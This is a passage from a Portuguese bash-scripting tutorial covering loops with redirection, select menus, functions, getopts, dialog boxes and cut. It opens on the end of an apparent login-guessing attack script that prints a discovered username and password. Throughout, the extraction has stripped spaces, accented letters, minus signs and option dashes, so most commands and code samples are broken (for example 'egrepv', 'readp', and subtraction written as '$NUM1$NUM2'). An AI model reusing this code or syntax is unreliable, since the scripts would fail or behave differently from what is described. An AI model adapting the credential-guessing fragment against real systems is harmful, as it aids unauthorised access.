echoe"Username:\e[1m$USER\e[m\nPassword:\e[1m$PASS\e[m"
exit0
#lembrandoqueoexitfuncionacomosefossebreak
}
done
AdbeelGoesFilho

ShellScripts72

#$?contmomesmovalornozeroquefezpararoloopacima
[$?ne0]&&echo"
Vocentupiuosarquivosdelogpornada,poisoataquefracassou...
Maissortedaprximavez!
O"pipeamento"parawhiletambmusadonoMextract.sh.
redirecionandodearquivoparawhile
Agoraveremosumarquivoondeeutenhoostelefonesdealgunsamigos.Adisposio
dasinformaesdentrodoarquivoumpoucoparecidacomo"amigos.regiao",veja:
#######################
#Agendadetelefones#
#######################
#
#OBS.I:ISSONOUMSCRIPT!
#
#LinhasqueCOMEAMcom'#'seroconsideradas
#comentriospeloscript"listartel.sh".
#
#Usedaseguinteforma:
#NOMEPREFIXOTELEFONE
#ComoscamposseparadosporUMNICO<TAB>.
#
#Exemplo:
#lampiao1212345678
#mariabonita8787654321
#telefone"dusmanu"
xf4512431412
slater9865451654
minduin4554871800
nash2365576784
evil2354654654
heko4356465465
esc22446456456
#telefone"dasmina"
emmanuele8745646545
maylline2965654655
manalaura8265416578
erika6534245522

AdbeelGoesFilho

ShellScripts73

Vamosaoscriptqueseutilizardasinformaesde"agenda.tel":

AdbeelGoesFilho

ShellScripts74

#!/bin/bash
#arquivo=listartel.sh
#
TempFile=/tmp/TEMP$$
#oegrepabaixovaimostraroarquivoagenda.tel
#semexibiraslinhasquecomecemcomumcaractere'#'
#(consideradocomentrio)esemmostrarlinhasvazias.
#redirecionandoasadapara$TempFile
egrepv"^#|^*$"agenda.tel>$TempFile
whilereadNOMEPRETEL;do
echoe"Telde$NOME:($PRE)$TEL"
done<$TempFile
#esseredirecionamentofazcomoqueo"read"lnowhile
#leialinhaporlinhadoarquivo$TempFile
rm$TempFile
Consultaoarquivo
$./listartel.sh|grepemma
OBS.I:Nesteesquematambmnecessriopegarosdadosde/dev/ttysevocquiserusaroread
dentrodoloop.
OBS.II:Sevocusarexitdentrodoloopusandoesteesquema,eleREALMENTESAIRDO
SCRIPT.Noigualaoesquemaanteriorondeowhilerecebedadosdeumpipeeoexitfunciona
comosefosseumbreak.Entorepetindo:nesteesquemaoexitfuncionanormalmente!
redirecionandoasadadoloopparaatela
Ficouconfusocomestettulo?"Redirecionarasadadoloopparaatelapareceseruma
coisaintil,poisissoacontecetodasasvezes."Aquevocseengana!Vamosaoexemploondeeu
mostrareiautilidadedeseredirecionardestamaneira...
Temosumscriptchamadoretornatel.shquepesquisaotelefonedeumdeterminado
amigo(onomepassadoaoscriptdurantesuaexecuo).Agoraqueremospegarotelefonedeste
amigoearmazenlonumavariveldaseguintemaneira:
FONE=`./retornatel.sh`
Sque,comoveremosnoscriptaseguir,asadadoscriptnosomenteonmerodotelefone.
Existeumainterfacecomousurioperguntandoqualonomeaserpesquisado.Vejaoscript:
Exemplo:
AdbeelGoesFilho

ShellScripts75

#!/bin/bash
#tbom,tbom...euseiquenoumexemplomuitotil...
#sprailustrarautilidadederedirecionarasadadoloop
FILE=agenda.tel
functiongotoxy{
[$#ne2]&&{
echogotoxy:Erronapassagemdeparmetros
echoUso:gotoxyXY
exit1
}
echone"\e[$1;$2H"
}
whiletrue;do
clear
gotoxy51
readp"Nomeaserpesquisado('sair'parasair):"NOME
["X$NOME"=Xsair]&&exit
ifgrep"$NOME"$FILE&>/dev/null;then
break
else
gotoxy1015
echoNenhum$NOMEfoiencontradoem$FILE.
readp"Pressione<ENTER>paracontinuar..."
fi
done>/dev/tty
grep"^$NOME"$FILE|cutf3
Olhao/dev/ttyadenovo!:P
Redirecionando a sada de todo o loop para "/dev/tty", far com que os dados
impressos para fazer a interface com o usurio no sejam enviados para a sada padro e por
conseguintenosejamenviadosparaavarivelqueestrecebendoonmeroatravsdomtodo
variavel=`programa`
Destamaneira,sevocquerarmazenarotelefonedoxfnavarivelXFTEL,faao
seguinte:
XFTEL=`./retornatel.sh`
Eentopesquiseporxf.Depoissusar
echo$XFTEL
AdbeelGoesFilho

ShellScripts76

20.select
Oselectumcomandodelaoquenospermitemostrarumpequenomenudeopes
para o usurio. Cada opo possui um nmero e para escolher, o usurio digita o nmero
correspondenteaopodesejada.Vejamosasintaxeaseguir:
select<var>in<listadeopes>;
do
<comandos>
done;
Comodisseacima,oselectvaimostrarasopescontidasem<listadeopes>,uma
porlinha,comumnmeronafrenteeesperaqueousuriodigiteaopodesejada.Aodigitara
opo,oselectatribuionomedaopoavarivel<var>eexecutaoscomandos.Parasairdo
select,necessrioexecutarocomando"break".Vamosaumexemplo:
selectxinIniciarReiniciarPararSair;do
echo"OpoEscolhida:$x"
if["$x"=="Sair"];thenbreak;fi;
done;
Ou seja, se o usurio escolher alguma opo diferente de "Sair", o script apenas
escreveaopo.SeforescolhidaSair,elemostraaopo,entranoIFeexecutaobreak,saindodo
select.interessantecombinaroSelectcomoCase.Vamosmostrarcomoficariaaqueleexemplo
docase,deiniciarumservio,utilizandooselect,paratornaroscriptinterativo:
selectxinIniciarReiniciarPararSair;do
case"$x"in
'Iniciar')
echo"Iniciandooservio..."
;;
'Reiniciar')
echo"Reinicializandooservio..."
;;
'Parar')
echo"Parandooservio..."
;;
'Sair')
echo"Scriptencerrado."
break
;;
*)
AdbeelGoesFilho

ShellScripts77

echo"Opoinvlida!"
;;
esac
done;
Primeiramenteoselectmostraummenu:
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?
Quandoousuriodigitarumnmerodeopo,oselectexecutaocaseeestecompara
avarivelxcomsuasopes.Seacharalguma,executaseuscomandos,nocasoumecho.Seo
usurioescolherSair,almdoecho,eleexecutao"break",queinterrompeoselect:
virtvs@mucuripe:~/test$./t
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?1
Iniciandooservio...
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?5
Opoinvlida!
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?4
Scriptencerrado.
virtvs@mucuripe:~/test$
Esperoquevocstenhampegoaidiadecomofuncionacomandosdelaos.Pelos
menossabendoautilidade,sintaxeecomofuncionam,quandosurgiranecessidade,vocsjvo
saberoqueusar.
#!/bin/bash

AdbeelGoesFilho

ShellScripts78

functionMecho{
echoe"\e[1m$*\e[m"
}
#ATENOAQUI:opromptqueoselectmostracontroladopela
#varivelPS3.Etodasaquelescomentriossobre
#oPS1feitasnotpico2.2.valemaquitambm.
PS3="Opo:"
echon"Entrecomoprimeironmero:"
readNUM1
echon"Entrecomosegundonmero:"
readNUM2
OPCOES="adicaosubtracaomultiplicacaodivisaosair"
selectopcin$OPCOES;do
if["$opc"=adicao];then
Mecho"$NUM1+$NUM2=$[$NUM1+$NUM2]"
elif["$opc"=subtracao];then
Mecho"$NUM1$NUM2=$[$NUM1$NUM2]"
elif["$opc"=multiplicacao];then
Mecho"$NUM1*$NUM2=$[$NUM1*$NUM2]"
elif["$opc"=divisao];then
Mecho"$NUM1/$NUM2=`echo"scale=2;$NUM1/$NUM2"|bcl`"
elif["$opc"=sair];then
Mecho"Tchau!"
exit
else
Mecho"Opoinvlida!"
fi
done

AdbeelGoesFilho

ShellScripts79

21.Funes
Funes so interessantes para quando voc precisa fazer uma determinada coisa
vriasvezesnummesmoscript.Umafunocomosefosseumscriptdentrodoscript,sendo
assimeletambmusaomesmoesquemadeparmetrosdeumscriptcomum($1paraprimeiro
parmetro,$2parasegunda,etodasaquelasregrasexplicadasem2.4.Parmetroscomaexceodo
$0,quenoretornaonomedafuno!).Umafunotambmcapazderetornarumvalorusandoo
"returnValorDeRetorno",sendoqueValorDeRetornoficar armazenadoem"$?",valeobservar
tambmquespossvelretornarvaloresinteiros.
Porexemplo,senafunotiver"return123"depoisdaexecuodestainstruo"$?"
valer123.
#!/bin/bash
#"HelloWorld"usadoparailustrarousodefunes.
functionquit{
echoe"\e[1;32mTCHAU!\e[m"
exit
}
functione{
echoe"\e[1;35m$1\e[m"
}
eHello
eWorld
quit
echo"Issoaquinoserimpresso"
Outroexemplo:
#!/bin/bash
PARAM_ERR=198#Seforpassadomaisdoquedoisparmetros.
EQUAL=199#Retornoseosparmetrosforemiguais.
functionmaior#Retornaomaiordedoisnmeros
{#OBS:osnmeroscomparadosprecisamsermenoresque257
[z"$2"]&&return$PARAM_ERR
if["$1"eq"$2"];then
AdbeelGoesFilho

ShellScripts80

return$EQUAL
elif["$1"gt"$2"];then
return$1
else
return$2
fi
}
readp"Numero1:"N1
readp"Numero2:"N2
maior$N1$N2
RET_VAL=$?
if[$RET_VALeq$PARAM_ERR];then
echo"necessriopassardoisparmetrosparaafuno."
elif[$RET_VALeq$EQUAL];then
echo"Osdoisnmerossoiguais."
else
echo"Omaiornmero$RET_VAL."
fi
exit0
Informaesadicionais:
Oreturnquandoexecutadointerrompeaexecuodafunoeaexecuopassaparaainstruo
imediatamenteposterioraqualafunofoichamada;
Ovalormaisaltoqueumafunopoderetornar256eomaisbaixo0.Bem,umnmerode
mdulogrande.:PSeprecisardevalorespositivos maioresque256retorneocomonegativoe
depoisconvertaoparapositivonovamente.
Sequersabermaisdetalhessobrefunesocaptulo23doAdvancedBashScriptingGuidevai
lhesermuitotil.
#!/bin/bash
#
#CdigobaseadoemumdoAdvancedBashScriptingGuide.
#Maisinformaessobreesteguiaemhttp://www.linuxdoc.org
#Casonoentendaocdigo,faaumesforcinho!;)
LIMITE=400
functionromano{
NUM=$1
FATOR=$2
ROMAN=$3
AdbeelGoesFilho

ShellScripts81

((RESTO=$NUM$FATOR))
while["$RESTO"ge0];do
echon$ROMAN
((NUM=$FATOR))
((RESTO=$NUM$FATOR))
done
return$NUM
}
["$1"]||{
echo"Uso:`basename$0`NUMERO"
exit1
}
["$1"gt400]&&{
echo"$1ultrapassaolimitede$LIMITE"
exit1
}
NUMERO=$1
romano$NUMERO100C
NUMERO=$?
romano$NUMERO90XC
NUMERO=$?
romano$NUMERO50L
NUMERO=$?
romano$NUMERO40XL
NUMERO=$?
romano$NUMERO10X
NUMERO=$?
romano$NUMERO9IX
NUMERO=$?
romano$NUMERO5V
NUMERO=$?
romano$NUMERO4IV
NUMERO=$?
AdbeelGoesFilho

ShellScripts82

romano$NUMERO1I
NUMERO=$?
echo
exit
possveldeclararfuno(es)dentrodefuno.
5.

Funescomocomandos

Antesdecomearvamosrelembrarumconceitobsico:quandoseexecutaum shell
scriptvocobtmomesmoresultadoqueobteriasedigitasseocontedodoscriptnopromptdeum
shell.Comissoeuquerodizerquevocpodefazertudoquefazemum shell scriptnalinhade
comando,inclusivecriareutilizarfunes(queoassuntodestetpico).
Nalinhadecomandovocdeclaraumafunodamesmamaneiraquefaznumscript.
Porexemplo,digiteoseguintenasualinhadecomando:
functionheko{
echoe"\e[5;1;32mHekodangews,paradeenrolaraminaecasalogo!\e[m"
}
Agoraquandovocentrarcom"heko"nalinhadecomandoserimpressonatelaum
recadinhoparaoHekodangewsnumacorzinhaverdeepiscantesuperfashion.=)
Vejaesteoutroexemploumpoucomaistil:
functionSetPath{
PATH=${PATH:="/bin:/usr/bin"}
forDIRin"$@";do
if[d"$DIR"];then
PATH="$PATH:$DIR"
else
echo"***Erro:$DIRnaoehumdiretorio"
fi
done
exportPATH
unsetDIR
}
Esevoctivervriasidiasdefuneslegaisquequeirausarsempreemsuassesses?
Vaiterquedigitlasnalinhadecomandotodahora?No!Paraestepropsitoocomando"source"
podesermuitotil(informaesdetalhadasnamanpagedobash).

Lembrasequandodisse"Quandoexecutamosumshellscripteleexecutadonumshell
AdbeelGoesFilho

ShellScripts83

aparte(shellfilho)"?.Ocomandosourcefazcomqueoscriptsejaexecutadonoshellpai,ouseja,
como voc estivesse digitando todo o contedo do arquivo na linha de comando. E isso
especialmente til quando temos arquivos com as nossas funes que queremos usar como
comandos.
Umacoisalegaldesefazercolocaroarquivocomasfunesquevocquerusarnum
arquivoocultonoseu$HOME(ex.:$HOME/.MyFunctions)enoseu$HOME/.bash_profilevoc
colocaumalinhacomocomando"source$HOME/.MyFunctions".
Vejaestearquivocomalgunsexemplosdefunes:

#!/bin/bash
#
#"INSTALAO":
#copieestearquivoparaseu$HOME:
#[prompt]$cpMfunctions~/.Mfunctions
#
#depoisfaaoseguinte:
#[prompt]$echo".~/.Mfunctions">>~/.bash_profile
#
#Dloginnovamenteoudigite".~/.Mfunctions"epronto.
#Agorasdigitaronomedafuno.
#
#DICA:depoisdecorretamenteinstalada,use"M<tab><tab>"
#paraverasfunesdisponveis.
#
#Funesdisponveisnestearquivo:
#+Mecho
#+Mcenter
#+Mclock
#+Mclock2
#+Msetpath
#+Mdica
#+Marrumanome
#+Mnocomments
#+Mcalcula
#+Mcores
#
#Aproveite!
#meleu
#
#P.S.:graasaessetalde"opensource"vocpodeler
#umcdigoealterloparaqueseadequeassuas
#necessidadeseuquefiqueaoseugosto.Poisfoi
#issoqueeufizaqui!Saolhandoasfunesque
#outraspessoasfizeramearrumeidomeujeito.E
AdbeelGoesFilho

ShellScripts84

#aminhaprincipalfontefoiofuncoeszzdoaurlio.
#vejaem:http://verde666.org/zz
#

#imprimeemnegrito
functionMecho{
echoe"\e[1m$*\e[m"
}
#imprimeemnegritonocentrodalinha
functionMcenter{
localPOS=$[($COLUMNS`echoen"$*"|wcc`)/2]
Mecho"\e[${POS}C$*"
}
#deixasemprenocantinhodaprimeiralinhadoconsole:
#"[hora:minutodia/mes/ano]".
#Sehouveralgumprocessoemsegundoplano(background)eletambmindica.
#OBS.:nosemuladoresdeterminalemqueeutesteisfuncionounoxterm
#orxvtnoaceitaoscdigosdesalvarerestauraraposiodocursor
#(respectivamente"\e[s"e"\e[u").
functionMclock{
localCIANO="\e[1;36m"
localAMARELO="\e[1;33m"
localSCOR="\e[m"
aliasDiaMesAno='date+'\''%H:%M%e/%m/%y'\'
PROMPT_COMMAND="
JOBS=\$(echo\$(jobs|wcl))
if[\$JOBSne0];then
HEADER=\"Jobs:\$JOBS\$(DiaMesAno)\"
else
HEADER=\"\$(DiaMesAno)\"
fi
POS=\$[(\$COLUMNS\$(echo\"\$HEADER\"|wcc))3]"
PS1="\[\e[s\e[1;0H\e[K\
\e[\$(echon\$POS)C\
$CIANO[$AMARELO\$HEADER$CIANO]$SCOR\
\e[u\e[1A\]
$PS1"
echoe"\nMclockativado!\n"
AdbeelGoesFilho

ShellScripts85

#ParecidocomoMclockmasficatudoescritonocentrodaprimeiralinha
#eemumformatomaislongo.
functionMclock2{
localCIANO="\e[1;36m"
localAMARELO="\e[1;33m"
localSCOR="\e[0m"
aliasMdate='date+'\''%H:%M%A,%e%B%Y'\'
PROMPT_COMMAND="
JOBS=\$(echo\$(jobs|wcl))
if[\$JOBSne0];then
HEADER=\"Jobs:\$JOBS$(Mdate)\"
else
HEADER=\"\$(Mdate)\"
fi
POS=\$[(\$COLUMNS\$(echo\"\$HEADER\"|wcc))/2]"
PS1="\[\e[s\e[1;0H\e[K\
\e[\$(echon\$POS)C\
$CIANO[$AMARELO\$HEADER$CIANO]$SCOR\
\e[u\e[1A\]
$PS1"
echoe"\nMclock2ativado!\n"
}
#Adicionaumdiretrionasuavarivel$PATH
functionMsetpath{
localDIR
PATH=${PATH:="/bin:/usr/bin"}
[$#eq0]&&{echo"PATH=$PATH";return;}
forDIRin"$@";do
if[d"$DIR"];then
PATH="$DIR:$PATH"
else
echo"***Erro:$DIRnoumdiretrio"
continue
fi
AdbeelGoesFilho

ShellScripts86

done
exportPATH
}

#eutenhonomeuhomeumdiretriodicasondeeuvoucolocando
#dicassobreprogramasdiversos.
#onomedosarquivossoiguaisaosnomesdosprogramas,ento
#quandoeumedeparocomumadicasobreogrep,porexemplo,eu
#fao:
#[prompt]$catdica_grep>>~/grep
#estafunoserveparavisualizarasdicas
#OBS.:oaurlioquemedeuESTAdicadodiretrio"$HOME/dicas".
#valeurapaz!;)
functionMdica{
localDICASDIR=$HOME/dicas
["$1"]||{
Mecho"Uso:Mdica[assunto]\n"
echo"Osassuntosdisponveisso:"
ls$DICASDIR
return
}
more$DICASDIR/$1
}
#renomeiaosarquivosquepossuemnomescomcaracteresfeiosos
#fazendocomqueletrasmaisculasfiquemminsculas;
#letrasacentuadasfiquemaletracorrespondentesemacento;
#eespaosembranco,smboloseoutrascoisasfeiasfiquem
#underline'_'
functionMarrumanome{
["$1"]||{
Mecho"Erro:vocprecisapassarosarquivosquequerrenomear";
echo'Uso:Marrumanomearquivo1[arquivoN...]'
return1
}
localFILENINICIALNFINALDIR
forFILEin"$@";do
[f"$FILE"]||continue
NINICIAL=`basename"$FILE"`
DIR=`dirname"$FILE"`
AdbeelGoesFilho

ShellScripts87

NFINAL=`echo"$NINICIAL"|sed'
y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/
y//aaaaaaaaaaeeeeeeee/
y//iiiiiiiioooooooooo/
y//uuuuuuuuccnn/
s/^/_/
s/[^az09._]/_/g'`
["$NINICIAL"!="$NFINAL"]&&mv"$FILE""$DIR/$NFINAL"
done
}
#visualizaumarquivoretirandolinhasquecomecemcomumcaractere
#decomentrio(#)elinhasvazias(linhascomespaosnosovazias)
functionMnocomments{
["$1"]||{
Mecho"Erro:faltaargumentos"
echo"Uso:Mnocommentsarquivo1[arquivoN...]"
return
}
#estouusandoomoresporcausadaqueles":::::::"queaparecem
#quandopassadomaisdeumarquivocomoparmetro.;)
more$@|egrepv"^#|^$"
}
#fazclculosusandoobc
#spranoprecisarficarfazendo"echo<expressao>|bc"todahora
functionMcalcula{
["$1"]||{
Mecho"Erro:vocprecisapassarumaexpresso"
echo"Uso:Mcalcula<expresso>"
echo"Exemplo:Mcalcula'4^2+3*(74)'"
return1
}
#mudeovalorde"scale"sequisermaisdeduascasasdecimais
echo"scale=2;$@"|bc
}
#mostratodasascoresdoconsoleeseusrespectivoscdigos.
#maisumacortesiadoaurlio
functionMcores{
forLETRAin`seq07`;do
forBOLDin''';1';do
forFUNDOin`seq07`;do
AdbeelGoesFilho

ShellScripts88

SEQ="4$FUNDO;3$LETRA"
echone"\e[$SEQ${BOLD}m$SEQ${BOLD:}\e[m"
done
echo
done
done
}

22.Tornandoseuscriptamigvel

Algunscomandosteisquetornamseuscriptmais"userfriendly".

6.

getopts

Estecomandoserveparapermitirquevocuseparmetrosnalinhadecomandode
maneiramaiseficientequeficarusandoasvariveisdeposiodeparmetros("$1","$2"...).
Suasintaxe:
getopts'CadeiaDeOpcoes'variavel
Onde "CadeiaDeOpcoes" consiste em cada caractere que o getopts considerar, e
"variavel"receberestecaractere.Parapassarumparmetroparaoscriptvocusa'c'onde'c'o
parmetro.Vejaesteexemplohipottico:
getopts'ab:c'variavel
Vocpoderusarosparmetros'a','b'ou'c'.Noteque'b'seguidodeum':',issosignificaque'b'
umparmetroqueprecisadeargumento.Este,porsuavez,armazenadonavarivelOPTARG.
Maisdetalhadamente,ogetoptsfuncionaassim(adaptadodo"TeachYourselfShellProgrammingin
24Hours",vejaReferncias):
1.Ogetoptsexaminatodososargumentosdalinhadecomandoprocurandoporargumentosque
comecemcomocaractere''.
2.Quandoachaumargumentocomeadocom''ogetoptsprocuraem"CadeiaDeOpcoes"setem
algumcaracterequecombine.
3.Secombinarcomalgum,"variavel"receberestecaractere,casocontrrio"variavel"receber
'?'.
4.Ospassos13sorepetidosatquetodososargumentosdalinhadecomandotenhamsido
AdbeelGoesFilho

ShellScripts89

lidos.
5.Quandoacabadelertodososargumentosdalinhadecomandogetopsretornaumvalorfalso
(nozero).Istotilparaverificaesemloops(comoveremosnoexemploabaixo).

<++>BashScript/getopts.sh
#!/bin/bash
USAGE="Uso:`basename$0`[h][nnome][eemail]"
[$1]||{echo$USAGE;exit1;}
#observeque'n'e'e'precisamdeargumentos
whilegetopts'hn:e:'PARAMETRO;do
#atenteparaautilidadedo"case"!;)
case$PARAMETROin
h)echon"
Scriptdeexemplodeusodo\"getopts\".
Uso:`basename$0`[opes]
Ondeasopespodemser:
nnomeimprimenome
eemailimprimeemail
hexibeestamensagem";;
n)NOME=$OPTARG;;
e)EMAIL=$OPTARG;;
*)echon"Entre\"`basename$0`h\"paraajuda.";;
esac
done
[$NOME]&&echo$NOME
[$EMAIL]&&echo$EMAIL

AdbeelGoesFilho

ShellScripts90

23.dialog
Odialognoumcomandoespecficodobash!Estouescrevendosobreeleporquejvi
muitagentequerendoinformaes.
Odialogserveparafazercaixasdedilogo,easintaxebsicaassim:
dialog[opcoesdettulo]opesdacaixa
Asopesdettulosoopcionais(porissoqueelasestoentrecolchetes.Asdecaixa
soobrigatrias.Paraquevocpossafazeragoraumaapreciaovisualdodialogtenteoseguinte
comando:
dialogyesno"CaixaondeseseescolheYesouNo"00
Existemvriostiposdecaixas,autilizadanessecomandoumacaixadotipo"yesno".
Bem...issofoispravocdarumaadmiradarpidanodialog.Agoravamosorganizarascoisas,
vouexplicaralgunsparmetros.Vpraticandocadaumdessesparmetrosevendooresultado.
Lembresequeasopesdacaixasoobrigatrias!
*backtitle"texto"
Esteparmetroparaporumttulo"latrs".Tente dialogbacktitle"Micro\$oft
Scandisk"yesnobla00evejacomoottuloqueaparecelhetrarpssimaslembranas.=)

*title"texto"
Estevaiserottulodacaixadedilogo.
Agoravamosasopesdecaixa,masantesumainformao:Emtodosostiposde
caixasexistemosargumentos"altura"e"largura"(queparaabreviar,euchamareide"alt"e"larg"),
que(porincrvelqueparea)servemparavocdeterminaraalturaelarguradacaixadedilogo.Se
vocnotiversacopraficarcontandoquantoscaracteresserousadosnacaixa,use0paraalturae
largura,assimacaixaterumtamanhodeacordocomtextoutilizado.
*yesno"texto"altlarg
Fazumacaixadedilogocomasopes"Yes"e"No".Sevocescolher
"Yes"odialogretorna0,casocontrrio,retorna1.
*msgbox"texto"altlarg
Serveparamostrarumamensagemetemumbotodeconfirmao"OK".Quandovocescolher
AdbeelGoesFilho

ShellScripts91

"OK"odialogretornar0,e,assimcomoemtodosos
outrostiposdecaixas,vocpodecancelarviateclaESC,quandoodialog
retornar255.
*inputbox"texto"altlarg[stringdeinicio]
Faz uma caixa de entrada de dados, se"string de inicio" for passada ocampo de
entradadedadosserinicializadoporestastring.Osbotesso"OK"E"Cancel",oprimeiro,se
selecionado,retorna0eooutroretorna1.Astringquevocentrarserdirecionadaparaasadade
erropadro,portanto,sevocquerqueistosejagravadouseredirecionamentodestderr(ver3.3
Redirecionamento).
*textboxarquivoaltlarg
comosefosseumsimplesvisualizadordearquivostexto.Useassetinhasdoteclado
parasemovimentar.Parapesquisarprafrenteuse'/'eparapesquisarpratrsuse'?'.
*menu"texto"altlargaltdomenuitem1"descricaodoitem1"\[itemN"descricaodoitemN"]
Notequeaquela'\'lnofinaldalinhasignificaqueocomandocontinuanaprxima
linha.Comooprprionomediz,esseparmetrousadoparafazermenus,comoporexemplo
aquele do pppsetup(slackware) ondevoc escolhequalottyS doseumodem.Oitem que for
escolhidoserimpressoemstderr."OK"retorna0e"Cancel"retorna1.
Vejaumexemplobestasprailustrar:
#!/bin/bash
FILE=/tmp/script$$
dialogtitle"Testefuleirodacaixadedilogo\"menu\""\
menu"Qualcomandovocdesejaexecutar?"000\
"pwd""mostraodiretrioatual"\
"psaux""listaosprocessosqueestosendoexecutados"\
"unamea""exibeinformaessobreoSOeamquinalocal"\
"users""listaosusuriosqueestologadosnomomento"2>$FILE
#Lembresequeoitemescolhidoserimpressoemstderr.Erepare
#acimaqueeuestouredirecionandostderrparaumarquivo.
RET_VAL=$?
[$RET_VALeq0]||{echo"Operaocancelada.";exit1;}
sh$FILE
rm$FILE

AdbeelGoesFilho

ShellScripts92

*checklist"texto"altlargaltdalista\
item1"descricaodoitem1"status[item2"descricaodoitem2"status]
Notenovamenteocaractere'\'fazendoocomandocontinuarnalinhaabaixo.Estetipo
decaixautilizadoquandosequerfazerummenuondepodeseescolhervriositens,vocmarca
osquedesejaed"OK".Assimcomoo"menu",o(s)item(ns)quefor(em)escolhido(s)sero
impressosemstderr.Oparmetro"status"serveparavocdeixarumdeterminadoitemselecionado
logodeincio,seusvalorespodemser"on"ou"off". Vejaesteexemplobeminteressante(oh!
finalmenteumexemplocomalgumautilidade!)queusamuitosdosconceitosjensinadosataqui,
senoentenderreleiaocdigo:
Exemplo:
#!/bin/bash
#
#"Escolhedor"demp3zfeitoparailustrarousodo'dialog'
#notexto"ProgramaoemBourneAgainShell".
#
#Parautilizarestescriptnecessrioterinstaladoompg123.
#
#+OBS.:Seonomedealgumamp3formuitograndepodemacontecer
#resultadosbizarros...:/
#+OBS.II:Estescriptno"detecta"nomedemp3zquecontenham
#espaos.Poissedetectassetambmocorreriamresultadosbizarros.
#
#Feitopor:meleu<meleu@meleu.cjb.net>
#mudeavarivelMP3DIRedescomenteaparano
#precisarpassarodiretriotodahoranalinha
#decomando.
#MP3DIR="$HOME/mp3z/"
FILE="/tmp/mp3.$$"
NCOR="\e[m"
WHITE="\e[1m"
functionAjudarSair{
echo"Tente\"`basename$0`h\"paraajuda."
exit$1
}
functionApagarSair{
rm$FILE
exit$1
AdbeelGoesFilho

ShellScripts93

}
#iaogetoptsagente!=)
whilegetopts'd:n:h'OPCAO;do
case$OPCAOin
d)MP3DIR="$OPTARG";;
n)NOME="*$OPTARG";;
h)echoe"
${WHITE}*Meleu'smp3escolheitor(Tabajara,Inc.)$NCOR
Uso:`basename$0`[ddiretorio][nnome][h]
ddiretoriodiretrioondeseroprocuradasasmp3z
nnomenomequeserprocuradonodiretrio
himprimeestamensagem
"
exit;;
*)exit1;;
esac
done
if[z"$MP3DIR"];then
echoe"${WHITE}Vocprecisaindicaremqualdiretrioestoasmp3z.$NCOR"
AjudarSair1
elif[!d"$MP3DIR"];then
echoe"$WHITE\"$MP3DIR\"noumdiretrio.$NCOR"
AjudarSair1
fi
cd"$MP3DIR"
LISTA=`/bin/ls1$NOME*.mp32>/dev/null|grepv''`
[z"$LISTA"]&&{
echoe"${WHITE}Nenhumamp3foiencontradaem\"$MP3DIR\".$NCOR"
AjudarSair1
}
CONT=1
dialogbacktitle"Selecionadordemp3z"\
title"$MP3DIR"\
checklist"Escolhaamsica"000\
$(forITEMin$LISTA;do
echo"$ITEM""$CONT"off
((CONT++))
done)2>>$FILE
AdbeelGoesFilho

ShellScripts94

RET_VAL=$?
[$RET_VALne0]&&{echo"Tchau!";ApagarSair;}
#verificandosejexisteumprocessocomompg123
MPGPID=`psaxformatpid,comm|grepmpg123|cutc6`
[$MPGPID]&&{
dialogbacktitle"Selecionadordemp3z"\
title"Ompg123JESTSENDOUSADO!"\
yesno"Desejafinalizloparaouvirasualista?"00
RET_VAL=$?
if[$RET_VALeq0];then
kill$MPGPID2>/dev/null||{
echoe"${WHITE}Nofoipossvelfinalizarompg123.$NCOR"
echo"Podeserqueoutrousurioestejautilizandoo."
ApagarSair1
}
else
echo"Saindo..."
ApagarSair
fi
}
#osleeppragarantirqueo/dev/dspestardesocupado
sleep1s
cat$FILE|xargsmpg1232>/dev/null&
ApagarSair
#EoF#
*radiolist"texto"altlargaltdalista\
item1"descricaodoitem1"status[item2"descricaodoitem2status]
Similaraochecklistpormaquissepodefazerumaescolha,quandovocseleciona
umitemdesmarcaoutro.

AdbeelGoesFilho

ShellScripts95

Capitulo5.ComandosAvanados
1. cut
OLinuxpossuidiversoscomandose,utilizandoumemconjuntocomooutro,voc
acaba criando um comando novo e ainda mais poderoso. Abaixo mostrarei alguns comandos
misturadoscomoutrosemostrandoassadas,assimserbemfcildeentender.
Presteatenonestasduaslinhasdecomando:
1cat/etc/services
2cat/etc/services|more
Oprimeirocomando,jogarnatelaocontedodoarquivo/etc/services.
Osegundojogarnatelaocontedodoarquivo/etc/services,dividindonatelademaneiraqueo
arquivonofiquerolando,assimpodendovisualizartodooarquivoe,demaneiraqueapertando
espaoelavairolandoparabaixo.
Utilizamosesse"more"quandooarquivomuitogrande,comojvistonoscomandos
doLinux.Agoraoimportantenotar,quenosegundocomandooquefazemosusarocomando
cat,ejogarsuasadaparaocomandomore,oporsuavezjogaasadanatela.Vistoissopodemos
montarcomandosmuitointeressantes,oqualjuntaremosalgunscomandosenofinalsairnatelao
resultadodesejado.
Vamospraumexemplo.Sequisssemospegartodososusuriosdeumcomputador.
Faramososeguinte:
root@c0mb4t:/#catetc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
AdbeelGoesFilho

ShellScripts96

mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
nobody:x:99:99:nobody:/:
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
Masvimosaquimuitasujeira,entojuntamosdoiscomandoeveremossuasada:
root@c0mb4t:/#catetc/passwd|cutd:f1
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
ftp
mysql
gdm
nobody
c0mb4t
Aquiocomandocutcortao':'(d:f1)ondeo'f'vemdoingls field.Assimdeixa
somentealistadeusurios.Masaindanoestamossatisfeitos,poisqueremosemordemalfabtica,
entousaremosjuntomaisumcomando,osort.
root@c0mb4t:/#catetc/passwd|cutd:f1|sort
adm
bin
c0mb4t
daemon
ftp
games
gdm
halt
lp
mail
mysql
news
AdbeelGoesFilho

ShellScripts97

nobody
operator
root
shutdown
sync
uucp
